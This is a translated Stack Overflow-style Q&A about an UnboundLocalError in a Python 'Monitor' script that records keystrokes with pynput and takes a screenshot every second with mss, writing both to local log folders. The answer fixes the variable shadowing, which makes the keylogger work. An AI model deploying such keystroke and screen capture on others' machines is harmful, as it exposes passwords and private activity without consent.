繁体   English   中英

UnboundLocalError 继续弹出,我不知道为什么

[英]UnboundLocalError continues to pop up and i cant figure out why

终端输出错误,指出local variable 'Listener' referenced before assignment 我正在尝试from pynput.keyboard import Listener

我尝试重新编写程序并更改导入

import os
import time
from threading import Thread, Timer

from mss import mss
from pynput.keyboard import Listener

class IntervalTimer(Timer):
    def run(self):
        while not self.finished.wait(self.interval):
            self.function(*self.args, **self.kwargs)

class Monitor:    
    def _on_press(self, K):
        with open("./log/keylogs/log.txt", "a")as f:
            f.write("{} \t\t {}\n".format(K, time.time()))    

    def _build_logs(self):
        if not os.path.exists("./logs"):
            os.mkdir("./logs")
            os.mkdir("./logs/screenshots")
            os.mkdir("./log/keylogger")

    def _keylogger(self):
        with Listener(on_press = self._on_press)as Listener:
            Listener.join()

    def _screenshot(self):
        sct = mss()
        sct.shot(output="./logs/screenshots/{}.png".format(time.time()))

    def run(self, interval = 1):
        self._build_logs()
        Thread(target=self._keylogger).start()
        IntervalTimer(interval, self._screenshot).start()

if __name__ == "__main__":
    mon = Monitor()
    mon.run()

这是错误

    with Listener(on_press = self._on_press)as Listener:
UnboundLocalError: local variable 'Listener' referenced before assignment

问题是您在_keylogger中重新定义了Listener 有关解释,请参阅为什么当变量具有值时我会收到 UnboundLocalError? 在 Python 常见问题解答中,或者不明白为什么会发生 UnboundLocalError

要修复它,只需更改Listener实例的名称。 无论如何,实例通常都用小写字母书写。

with Listener(on_press=self._on_press) as listener:
    listener.join()

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM